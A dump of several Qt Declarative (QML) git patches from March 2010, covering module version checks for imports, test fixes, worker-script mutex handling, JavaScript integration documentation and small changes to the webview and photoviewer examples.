index b32e575..c512d97 100644 --- a/src/declarative/qml/qdeclarativemetatype.cpp +++ b/src/declarative/qml/qdeclarativemetatype.cpp @@ -98,6 +98,13 @@ struct QDeclarativeMetaTypeData typedef QHash StringConverters; StringConverters stringConverters; + struct ModuleInfo { + ModuleInfo(int maj, int min) : vmajor(maj), vminor(min) {} + int vmajor, vminor; + }; + typedef QHash ModuleInfoHash; + ModuleInfoHash modules; + QBitArray objects; QBitArray interfaces; QBitArray lists; @@ -441,9 +448,30 @@ int QDeclarativePrivate::registerType(const QDeclarativePrivate::RegisterType &t data->objects.setBit(type.typeId, true); if (type.listId) data->lists.setBit(type.listId, true); + if (type.uri) { + QByteArray mod(type.uri); + QDeclarativeMetaTypeData::ModuleInfoHash::Iterator it = data->modules.find(mod); + if (it == data->modules.end() + || ((*it).vmajor < type.versionMajor || ((*it).vmajor == type.versionMajor && (*it).vminor < type.versionMinor))) { + data->modules.insert(mod, QDeclarativeMetaTypeData::ModuleInfo(type.versionMajor,type.versionMinor)); + } + } + return index; } +/* + Have any types been registered for \a module with at least versionMajor.versionMinor. +*/ +bool QDeclarativeMetaType::isModule(const QByteArray &module, int versionMajor, int versionMinor) +{ + QDeclarativeMetaTypeData *data = metaTypeData(); + QDeclarativeMetaTypeData::ModuleInfoHash::Iterator it = data->modules.find(module); + return it != data->modules.end() + && ((*it).vmajor > versionMajor || + ((*it).vmajor == versionMajor && (*it).vminor >= versionMinor)); +} + QObject *QDeclarativeMetaType::toQObject(const QVariant &v, bool *ok) { if (!isQObject(v.userType())) { diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h index 1a36f10..e70b4bf 100644 --- a/src/declarative/qml/qdeclarativemetatype_p.h +++ b/src/declarative/qml/qdeclarativemetatype_p.h @@ -97,6 +97,8 @@ public: typedef QVariant (*StringConverter)(const QString &); static void registerCustomStringConverter(int, StringConverter); static StringConverter customStringConverter(int); + + static bool isModule(const QByteArray &module, int versionMajor, int versionMinor); }; class QDeclarativeTypePrivate; diff --git a/tests/auto/declarative/qdeclarativedom/data/import/Bar.qml b/tests/auto/declarative/qdeclarativedom/data/import/Bar.qml new file mode 100644 index 0000000..2d1a4a3 --- /dev/null +++ b/tests/auto/declarative/qdeclarativedom/data/import/Bar.qml @@ -0,0 +1,2 @@ +import Qt 4.6 + diff --git a/tests/auto/declarative/qdeclarativedom/data/importdir/Bar.qml b/tests/auto/declarative/qdeclarativedom/data/importdir/Bar.qml deleted file mode 100644 index 2d1a4a3..0000000 --- a/tests/auto/declarative/qdeclarativedom/data/importdir/Bar.qml +++ /dev/null @@ -1,2 +0,0 @@ -import Qt 4.6 - diff --git a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml new file mode 100644 index 0000000..2d1a4a3 --- /dev/null +++ b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml @@ -0,0 +1,2 @@ +import Qt 4.6 + diff --git a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir new file mode 100644 index 0000000..5bdd17b --- /dev/null +++ b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir @@ -0,0 +1 @@ +Foo Foo.qml diff --git a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml deleted file mode 100644 index 2d1a4a3..0000000 --- a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml +++ /dev/null @@ -1,2 +0,0 @@ -import Qt 4.6 - diff --git a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp index 6cd0bdb..adea384 100644 --- a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp +++ b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp @@ -340,9 +340,8 @@ void tst_qdeclarativedom::loadImports() "Item {}"; QDeclarativeEngine engine; - engine.addImportPath(SRCDIR "/data"); QDeclarativeDomDocument document; - QVERIFY(document.load(&engine, qml)); + QVERIFY(document.load(&engine, qml, QUrl::fromLocalFile(SRCDIR "/data/dummy.qml"))); QCOMPARE(document.imports().size(), 5); diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt new file mode 100644 index 0000000..413f096 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt @@ -0,0 +1 @@ +1:1:module "Test" version 2.0 is not installed diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml new file mode 100644 index 0000000..c4a0d38 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml @@ -0,0 +1,3 @@ +import Test 2.0 + +MyTypeObject { } diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt new file mode 100644 index 0000000..1baf05c --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt @@ -0,0 +1 @@ +2:1:"will-not-be-found": no such directory diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml new file mode 100644 index 0000000..ec6aa2b --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml @@ -0,0 +1,5 @@ +// imports... +import "will-not-be-found" +import Qt 4.6 + +Rectangle { } diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 9188d72..42426a2 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -264,6 +264,8 @@ void tst_qdeclarativelanguage::errors_data() QTest::newRow("importNamespaceConflict") << "importNamespaceConflict.qml" << "importNamespaceConflict.errors.txt" << false; QTest::newRow("importVersionMissing (builtin)") << "importVersionMissingBuiltIn.qml" << "importVersionMissingBuiltIn.errors.txt" << false; QTest::newRow("importVersionMissing (installed)") << "importVersionMissingInstalled.qml" << "importVersionMissingInstalled.errors.txt" << false; + QTest::newRow("importNonExist (installed)") << "importNonExist.qml" << "importNonExist.errors.txt" << false; + QTest::newRow("importNewerVersion (installed)") << "importNewerVersion.qml" << "importNewerVersion.errors.txt" << false; QTest::newRow("invalidImportID") << "invalidImportID.qml" << "invalidImportID.errors.txt" << false; QTest::newRow("signal.1") << "signal.1.qml" << "signal.1.errors.txt" << false; -- cgit v0.12 From c3d8fef05b011a737ce15791e94aef84d27d1b8f Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Tue, 23 Mar 2010 08:37:56 +1000 Subject: Fix test (StoreScriptImported shifted enum values) Adds test for StoreScriptImported. Makes invalid instruction test resistant to future changes. --- .../qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp index 5f6d9a4..c747bfc 100644 --- a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp +++ b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp @@ -507,8 +507,16 @@ void tst_qdeclarativeinstruction::dump() { QDeclarativeInstruction i; + i.line = 48; + i.type = QDeclarativeInstruction::StoreImportedScript; + i.storeScript.value = 2; + data->bytecode << i; + } + + { + QDeclarativeInstruction i; i.line = 50; - i.type = (QDeclarativeInstruction::Type)(QDeclarativeInstruction::Defer + 1); // Non-existant + i.type = (QDeclarativeInstruction::Type)(1234); // Non-existant data->bytecode << i; } @@ -564,7 +572,8 @@ void tst_qdeclarativeinstruction::dump() << "45\t\t47\tPOP_VALUE\t\t35\t8" << "46\t\t48\tDEFER\t\t\t7" << "47\t\tNA\tDEFER\t\t\t7" - << "48\t\t50\tXXX UNKOWN INSTRUCTION\t47" + << "48\t\t48\tSTORE_IMPORTED_SCRIPT\t2" + << "49\t\t50\tXXX UNKOWN INSTRUCTION\t1234" << "-------------------------------------------------------------------------------"; messages = QStringList(); -- cgit v0.12 From 0a20108113e09025618481ac2ffd1157c4b92359 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 23 Mar 2010 09:56:15 +1000 Subject: Fix mutex handling that was causing tests to sometimes crash/fail. --- src/declarative/qml/qdeclarativeworkerscript.cpp | 4 ++-- .../declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp | 5 ----- 2 files changed, 2 insertions(+), 7 deletions(-) diff --git a/src/declarative/qml/qdeclarativeworkerscript.cpp b/src/declarative/qml/qdeclarativeworkerscript.cpp index 10c0b54..a7ed358 100644 --- a/src/declarative/qml/qdeclarativeworkerscript.cpp +++ b/src/declarative/qml/qdeclarativeworkerscript.cpp @@ -201,11 +201,11 @@ QScriptValue QDeclarativeWorkerScriptEnginePrivate::sendMessage(QScriptContext * if (!script) return engine->undefinedValue(); - p->m_lock.lock(); + QMutexLocker(&p->m_lock); + if (script->owner) QCoreApplication::postEvent(script->owner, new WorkerDataEvent(0, scriptValueToVariant(ctxt->argument(0)))); - p->m_lock.unlock(); return engine->undefinedValue(); } diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp index 7a10ad0..576fe21 100644 --- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp +++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp @@ -290,8 +290,6 @@ void tst_QDeclarativeListModel::dynamic_worker_data() void tst_QDeclarativeListModel::dynamic_worker() { - QSKIP("Skip, awaiting imminent fixes", SkipAll); - QFETCH(QString, script); QFETCH(int, result); QFETCH(QString, warning); @@ -342,7 +340,6 @@ void tst_QDeclarativeListModel::dynamic_worker() void tst_QDeclarativeListModel::convertNestedToFlat_fail() { - QSKIP("Skip, awaiting imminent fixes", SkipAll); // If a model has nested data, it cannot be used at all from a worker script QFETCH(QString, script); @@ -390,8 +387,6 @@ void tst_QDeclarativeListModel::convertNestedToFlat_ok() // If a model only has plain data, it can be modified from a worker script. However, // once the model is used from a worker script, it no longer accepts nested data - QSKIP("Skip, awaiting imminent fixes", SkipAll); - QFETCH(QString, script); QDeclarativeListModel model; -- cgit v0.12 From b23c9d8384bed5f7d2758e8cb2cbfbbe49e6c2a0 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Tue, 23 Mar 2010 11:22:23 +1000 Subject: Doc --- doc/src/declarative/declarativeui.qdoc | 2 +- doc/src/declarative/example-slideswitch.qdoc | 2 +- doc/src/declarative/javascriptblocks.qdoc | 175 ++++++++++++++----------- doc/src/declarative/propertybinding.qdoc | 6 +- doc/src/declarative/qdeclarativereference.qdoc | 2 +- doc/src/declarative/qtbinding.qdoc | 5 +- doc/src/declarative/scope.qdoc | 6 +- 7 files changed, 111 insertions(+), 87 deletions(-) diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index ed63367..ca4c5da 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -83,7 +83,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible \list \o \l {QML Documents} \o \l {Property Binding} -\o \l {JavaScript Blocks} +\o \l {Integrating JavaScript} \o \l {QML Scope} \o \l {Network Transparency} \o \l {Data Models} diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc index 42351c5..c14208e 100644 --- a/doc/src/declarative/example-slideswitch.qdoc +++ b/doc/src/declarative/example-slideswitch.qdoc @@ -121,7 +121,7 @@ states (\e on and \e off). This second function is called when the knob is released and we want to make sure that the knob does not end up between states (neither \e on nor \e off). If it is the case call the \c toggle() function otherwise we do nothing. -For more information on scripts see \l{qdeclarativejavascript.html}{JavaScript Blocks}. +For more information on scripts see \l{Integrating JavaScript}. \section2 Transition \snippet examples/declarative/slideswitch/content/Switch.qml 7 diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc index 98183bb..0006967 100644 --- a/doc/src/declarative/javascriptblocks.qdoc +++ b/doc/src/declarative/javascriptblocks.qdoc @@ -41,95 +41,123 @@ /*! \page qdeclarativejavascript.html -\title JavaScript Blocks +\title Integrating JavaScript QML encourages building UIs declaratively, using \l {Property Binding} and the -composition of existing \l {QML Elements}. If imperative code is required to implement -more advanced behavior, the \l Script element can be used to add JavaScript code directly -to a QML file, or to include an external JavaScript file. +composition of existing \l {QML Elements}. To allow the implementation of more +advanced behavior, QML integrates tightly with imperative JavaScript code. -The \l Script element is a QML language \e intrinsic. It can be used anywhere in a -QML file, \e except as the root element of a file or sub-component, but cannot be -assigned to an object property or given an id. The included JavaScript is evaluated -in a scope chain. The \l {QML Scope} documentation covers the specifics of scoping -in QML. +The JavaScript environment provided by QML is stricter than that in a webbrowser. +In QML you cannot add, or modify, members of the JavaScript global object. It +is possible to do this accidentally by using a variable without declaring it. In +QML this will throw an exception, so all local variables should be explicitly +declared. -A restriction on the JavaScript used in QML is that you cannot add new members to the -global object. This happens transparently when you try to use a variable without -declaring it, and so declaring local variables is required when using Java script in -QML. +In addition to the standard JavaScript properties, the \l {QML Global Object} +includes a number of helper methods that simplify building UIs and interacting +with the QML environment. -The global object in QML has a variety of helper functions added to it, to aid UI -implementation. See \l{QML Global Object} for further details. +\section1 Inline JavaScript -Note that if you are adding a function that should be called by external elements, -you do not need the \l Script element. See \l {Extending types from QML#Adding new methods} -{Adding new methods} for information about adding slots that can be called externally. - -\section1 Inline Script - -Small blocks of JavaScript can be included directly inside a \l {QML Document} as -the body of the \l Script element. +Small JavaScript functions can be written inline with other QML declarations. +These inline functions are added as methods to the QML element that contains +them. \code -Rectangle { - Script { - function factorial(a) { - a = Integer(a); - if (a <= 0) - return 1; - else - return a * factorial(a - 1); - } +Item { + function factorial(a) { + a = Integer(a); + if (a <= 0) + return 1; + else + return a * factorial(a - 1); + } + + MouseRegion { + anchors.fill: parent + onClicked: print(factorial(10)) } } \endcode -Good programming practice dictates that only small script snippets should be written -inline. QML prohibits the declaration of anything other than functions in an inline -script block. For example, the following script is illegal as an inline script block -as it declares the non-function variable \c lastResult. +As methods, inline functions on the root element in a QML component can be +invoked by callers outside the component. If this is not desired, the method +can be added to a non-root element or, preferably, written in an external +JavaScript file. + +\section1 Separate JavaScript files + +Large blocks of JavaScript should be written in separate files. Like element +types, external JavaScript files are \c {import}'ed into QML files. + +The \c {factorial()} method used in the \l {Inline JavaScript} section could +be refactored into an external file, and accessed like this. \code -// Illegal inline code block -var lastResult = 0 -function factorial(a) { - a = Integer(a); - if (a <= 0) - lastResult = 1; - else - lastResult = a * factorial(a - 1); - return lastResult; +import "factorial.js" as MathFunctions +Item { + MouseRegion { + anchors.fill: parent + onClicked: print(MathFunctions.factorial(10)) + } } \endcode -\section1 Including an External File +Both relative and absolute JavaScript URLs can be imported. In the case of a +relative URL, the location is resolved relative to the location of the +\l {QML Document} that contains the import. If the script file is not accessible, +an error will occur. If the JavaScript needs to be fetched from a network +resource, the QML document will remain in the +\l {QDeclarativeComponent::status()}{waiting state} until the script has been +downloaded. -To avoid cluttering the QML file, large script blocks should be in a separate file. -The \l Script element's \c source property is used to load script from an external -file. +Imported JavaScript files are always qualified using the "as" keyword. The +qualifier for JavaScript files must be unique, so there is always a one-to-one +mapping between qualifiers and JavaScript files. -If the previous factorial code that was illegal as an inline script block was saved -into a "factorial.js" file, it could be included like this. +\section2 Code-Behind Implementation Files + +Most JavaScript files imported into a QML file are stateful, logic implementations +for the QML file importing them. In these cases, for QML component instances to +behave correctly each instance requires a separate copy of the JavaScript objects +and state. + +The default behavior when importing JavaScript files is to provide a unique, isolated +copy for each QML component instance. The code runs in the same scope as the QML +component instance and consequently can can access and manipulate the objects and +properties declared. + +\section2 Stateless JavaScript libraries + +Some JavaScript files act more like libraries - they provide a set of stateless +helper functions that take input and compute output, but never manipulate QML +component instances directly. + +As it would be wasteful for each QML component instance to have a unique copy of +these libraries, the JavaScript programmer can indicate a particular file is a +stateless library through the use of a pragma, as shown in the following example. \code -Rectangle { - Script { - source: "factorial.js" - } +.pragma library + +function factorial(a) { + a = Integer(a); + if (a <= 0) + return 1; + else + return a * factorial(a - 1); } \endcode -The \c source property may reference a relative file, or an absolute path. In the -case of a relative file, the location is resolved relative to the location of the -\l {QML Document} that contains the \l Script element. If the script file is not -accessible, an error will occur. If the source is on a network resource, the -enclosing QML document will remain in the \l {QDeclarativeComponent::status()}{waiting state} -until the script has been retrieved. +The pragma declaration must appear before any JavaScript code excluding comments. + +As they are shared, stateless library files cannot access QML component instance +objects or properties directly, although QML values can be passed as function +parameters. -\section1 Running Script at Startup +\section1 Running JavaScript at Startup -It is occasionally necessary to run a block of JavaScript code at application (or +It is occasionally necessary to run some imperative code at application (or component instance) "startup". While it is tempting to just include the startup script as \e {global code} in an external script file, this can have severe limitations as the QML environment may not have been fully established. For example, some objects @@ -144,10 +172,8 @@ The following QML code shows how to use the \c Component::onCompleted property. \code Rectangle { - Script { - function startupFunction() { - // ... startup code - } + function startupFunction() { + // ... startup code } Component.onCompleted: startupFunction(); @@ -155,21 +181,20 @@ Rectangle { \endcode Any element in a QML file - including nested elements and nested QML component -instances - can use this attached property. If there is more than one script to -execute at startup, they are run sequentially in an undefined order. +instances - can use this attached property. If there is more than one onCompleted +handler to execute at startup, they are run sequentially in an undefined order. -\section1 QML Script Restrictions +\section1 QML JavaScript Restrictions -QML \l Script blocks contain standard JavaScript code. QML introduces the following -restrictions. +QML executes standard JavaScript code, with the following restrictions: \list -\o Script code cannot modify the global object. +\o JavaScript code cannot modify the global object. In QML, the global object is constant - existing properties cannot be modified or deleted, and no new properties may be created. -Most JavaScript programs do not explicitly modify the global object. However, +Most JavaScript programs do not intentionally modify the global object. However, JavaScript's automatic creation of undeclared variables is an implicit modification of the global object, and is prohibited in QML. @@ -197,7 +222,7 @@ that includes the file and line number of the offending code. \o Global code is run in a reduced scope -During startup, if a \l Script block includes an external file with "global" +During startup, if a QML file includes an external JavaScript file with "global" code, it is executed in a scope that contains only the external file itself and the global object. That is, it will not have access to the QML objects and properties it \l {QML Scope}{normally would}. diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc index 5d21fd1..02f9868 100644 --- a/doc/src/declarative/propertybinding.qdoc +++ b/doc/src/declarative/propertybinding.qdoc @@ -67,10 +67,8 @@ expression! Here are some examples of more complex bindings: \code Rectangle { - Script { - function calculateMyHeight() { - return Math.max(otherItem.height, thirdItem.height); - } + function calculateMyHeight() { + return Math.max(otherItem.height, thirdItem.height); } anchors.centerIn: parent diff --git a/doc/src/declarative/qdeclarativereference.qdoc b/doc/src/declarative/qdeclarativereference.qdoc index 01af7f5..b2cfba8 100644 --- a/doc/src/declarative/qdeclarativereference.qdoc +++ b/doc/src/declarative/qdeclarativereference.qdoc @@ -74,7 +74,7 @@ \list \o \l {QML Documents} \o \l {Property Binding} - \o \l {JavaScript Blocks} + \o \l {Integrating JavaScript} \o \l {QML Scope} \o \l {Network Transparency} \o \l {qmlmodels}{Data Models} diff --git a/doc/src/declarative/qtbinding.qdoc b/doc/src/declarative/qtbinding.qdoc index 66d537d..577e69a 100644 --- a/doc/src/declarative/qtbinding.qdoc +++ b/doc/src/declarative/qtbinding.qdoc @@ -90,9 +90,8 @@ the root context is available to all object instances. \section1 Simple Data To expose data to a QML component instance, applications set \l {QDeclarativeContext::setContextProperty()} -{context properties} which are then accessible by name from QML \l {Property Binding}s and -\l {JavaScript Blocks}. The following example shows how to expose a background color to a QML -file. +{context properties} which are then accessible by name from QML \l {Property Binding}s and JavaScript. +The following example shows how to expose a background color to a QML file. \table \row diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc index 218af89..8ec784f 100644 --- a/doc/src/declarative/scope.qdoc +++ b/doc/src/declarative/scope.qdoc @@ -45,8 +45,10 @@ \tableofcontents -\l {Property Binding}s and \l {JavaScript Blocks} are executed in a scope chain automatically -established by QML when a component instance is constructed. QML is a \e {dynamically scoped} +NOTE: This documentation is out of data. + +\l {Property Binding}s and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain +automatically established by QML when a component instance is constructed. QML is a \e {dynamically scoped} language. Different object instances instantiated from the same component can exist in different scope chains. -- cgit v0.12 From 9a41034cf05ad4c149e3a98dc8e39f5f6ad05d28 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Tue, 23 Mar 2010 12:04:41 +1000 Subject: Show loading progress Task-number: QTBUG-9260 --- examples/declarative/webview/content/Mapping/Map.qml | 7 ++++++- examples/declarative/webview/content/Mapping/map.html | 7 ++++++- examples/declarative/webview/googleMaps.qml | 9 +++++++++ 3 files changed, 21 insertions(+), 2 deletions(-) diff --git a/examples/declarative/webview/content/Mapping/Map.qml b/examples/declarative/webview/content/Mapping/Map.qml index 6c3b021..38c42dd 100644 --- a/examples/declarative/webview/content/Mapping/Map.qml +++ b/examples/declarative/webview/content/Mapping/Map.qml @@ -6,16 +6,21 @@ Item { property real latitude: -34.397 property real longitude: 150.644 property string address: "" + property alias status: js.status WebView { id: map anchors.fill: parent url: "map.html" javaScriptWindowObjects: QtObject { + id: js WebView.windowObjectName: "qml" property real lat: page.latitude property real lng: page.longitude property string address: page.address - onAddressChanged: {map.evaluateJavaScript("goToAddress()")} + property string status: "Loading" + onAddressChanged: { if (map.url != "" && map.progress==1) map.evaluateJavaScript("goToAddress()") } } + pressGrabTime: 0 + onLoadFinished: { evaluateJavaScript("goToAddress()"); } } } diff --git a/examples/declarative/webview/content/Mapping/map.html b/examples/declarative/webview/content/Mapping/map.html index 72f426a..a8726fd 100755 --- a/examples/declarative/webview/content/Mapping/map.html +++ b/examples/declarative/webview/content/Mapping/map.html @@ -33,9 +33,14 @@ } if (map) req.bounds = map.getBounds() + window.qml.status = "Loading"; geocoder.geocode(req, function(results, status) { - if (status == google.maps.GeocoderStatus.OK) + if (status == google.maps.GeocoderStatus.OK) { + window.qml.status = "Ready"; goToLatLng(results[0].geometry.location,results[0].geometry.bounds); + } else { + window.qml.status = "Error"; + } }); } } diff --git a/examples/declarative/webview/googleMaps.qml b/examples/declarative/webview/googleMaps.qml index a04fecb..a0926f5 100644 --- a/examples/declarative/webview/googleMaps.qml +++ b/examples/declarative/webview/googleMaps.qml @@ -21,6 +21,7 @@ Map { radius: 5 anchors.bottom: parent.bottom anchors.bottomMargin: 5 + opacity: map.status == "Ready" ? 1 : 0 x: 70 TextInput { id: input @@ -29,4 +30,12 @@ Map { Keys.onReturnPressed: map.address = input.text } } + Text { + id: loading + anchors.centerIn: parent + text: map.status == "Error" ? "Error" : "Loading" + opacity: map.status == "Ready" ? 0 : 1 + font.pixelSize: 30 + Behavior on opacity {NumberAnimation{}} + } } -- cgit v0.12 From a83bed9e2ee062839af072745359038ee499ab43 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Thu, 18 Mar 2010 09:10:37 +1000 Subject: Small photoviewer improvements --- demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml | 5 ++--- demos/declarative/photoviewer/PhotoViewerCore/Button.qml | 6 ++++++ demos/declarative/photoviewer/PhotoViewerCore/Tag.qml | 7 +++++-- 3 files changed, 13 insertions(+), 5 deletions(-) diff --git a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml index fca7232..eb6d1c0 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml @@ -50,8 +50,7 @@ Component { Tag { anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom - frontLabel: tag; backLabel: "Delete"; rotation: Math.random() * (2 * 6 + 1) - 6 - flipped: mainWindow.editMode + frontLabel: tag; backLabel: "Delete"; flipped: mainWindow.editMode } MouseArea { @@ -77,7 +76,7 @@ Component { PropertyChanges { target: photosGridView; interactive: false } PropertyChanges { target: photosListView; interactive: true } PropertyChanges { target: photosShade; opacity: 1 } - PropertyChanges { target: backButton; y: -backTag.height - 8 } + PropertyChanges { target: backButton; y: -backButton.height - 8 } } ] diff --git a/demos/declarative/photoviewer/PhotoViewerCore/Button.qml b/demos/declarative/photoviewer/PhotoViewerCore/Button.qml index fb28314..cdf86af 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/Button.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/Button.qml @@ -4,6 +4,7 @@ Item { id: container property alias label: labelText.text + property string tint: "" signal clicked width: labelText.width + 70 ; height: labelText.height + 18 @@ -16,6 +17,11 @@ Item { Image { anchors.fill: parent; source: "images/cardboard.png"; smooth: true } + Rectangle { + anchors.fill: container; color: container.tint; visible: container.tint != "" + opacity: 0.1; smooth: true + } + Text { id: labelText; font.pixelSize: 15; anchors.centerIn: parent; smooth: true } MouseArea { diff --git a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml index d32fcd0..438bd7c 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml @@ -7,18 +7,21 @@ Flipable { property alias backLabel: backButton.label property int angle: 0 + property int randomAngle: Math.random() * (2 * 6 + 1) - 6 property bool flipped: false signal frontClicked signal backClicked front: Button { - id: frontButton; anchors.centerIn: parent; anchors.verticalCenterOffset: -20 + id: frontButton; rotation: flipable.randomAngle + anchors { centerIn: parent; verticalCenterOffset: -20 } onClicked: flipable.frontClicked() } back: Button { - id: backButton; anchors.centerIn: parent; anchors.verticalCenterOffset: -20 + id: backButton; tint: "red" + anchors { centerIn: parent; verticalCenterOffset: -20 } onClicked: flipable.backClicked() } -- cgit v0.12 From da96ef1a17a27b09129f73c6e7f3134806545d92 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Tue, 23 Mar 2010 13:42:37 +1000 Subject: Editable tag in photoviewer demo. --- .../photoviewer/PhotoViewerCore/AlbumDelegate.qml | 20 ++++----- .../photoviewer/PhotoViewerCore/EditableButton.qml | 49 ++++++++++++++++++++++ .../photoviewer/PhotoViewerCore/Tag.qml | 4 +- .../declarative/photoviewer/PhotoViewerCore/qmldir | 3 +- 4 files changed, 61 insertions(+), 15 deletions(-) create mode 100644 demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml diff --git a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml index eb6d1c0..48914d4 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml @@ -25,8 +25,7 @@ Component { Item { Package.name: 'album' - id: albumWrapper - width: 210; height: 220 + id: albumWrapper; width: 210; height: 220 VisualDataModel { id: visualModel; delegate: PhotoDelegate { } @@ -48,20 +47,15 @@ Component { } } + MouseArea { + anchors.fill: parent + onClicked: mainWindow.editMode ? photosModel.remove(index) : albumWrapper.state = 'inGrid' + } + Tag { anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom frontLabel: tag; backLabel: "Delete"; flipped: mainWindow.editMode - } - - MouseArea { - anchors.fill: parent - onClicked: { - if (mainWindow.editMode) { - photosModel.remove(index) - } else { - albumWrapper.state = 'inGrid' - } - } + onTagChanged: rssModel.tags = tag } states: [ diff --git a/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml b/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml new file mode 100644 index 0000000..1a529ea --- /dev/null +++ b/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml @@ -0,0 +1,49 @@ +import Qt 4.6 + +Item { + id: container + + property string label + property string tint: "" + signal clicked + signal labelChanged(string label) + + width: labelText.width + 70 ; height: labelText.height + 18 + + BorderImage { + anchors { fill: container; leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8 } + source: 'images/box-shadow.png'; smooth: true + border.left: 10; border.top: 10; border.right: 10; border.bottom: 10 + } + + Image { anchors.fill: parent; source: "images/cardboard.png"; smooth: true } + + Rectangle { + anchors.fill: container; color: container.tint; visible: container.tint != "" + opacity: 0.1; smooth: true + } + + Text { id: labelText; text: label; font.pixelSize: 15; anchors.centerIn: parent; smooth: true } + + TextInput { + id: textInput; text: label; font.pixelSize: 15; anchors.centerIn: parent; smooth: true; visible: false + Keys.onReturnPressed: container.labelChanged(textInput.text) + } + + MouseArea { + anchors { fill: parent; leftMargin: -20; topMargin: -20; rightMargin: -20; bottomMargin: -20 } + onClicked: container.state = "editMode" + } + + states: State { + name: "editMode" + PropertyChanges { target: container; width: textInput.width + 70; height: textInput.height + 18 } + PropertyChanges { target: textInput; visible: true; focus: true } + PropertyChanges { target: labelText; visible: false } + } + + onLabelChanged: { + labelText.text = label + container.state = '' + } +} diff 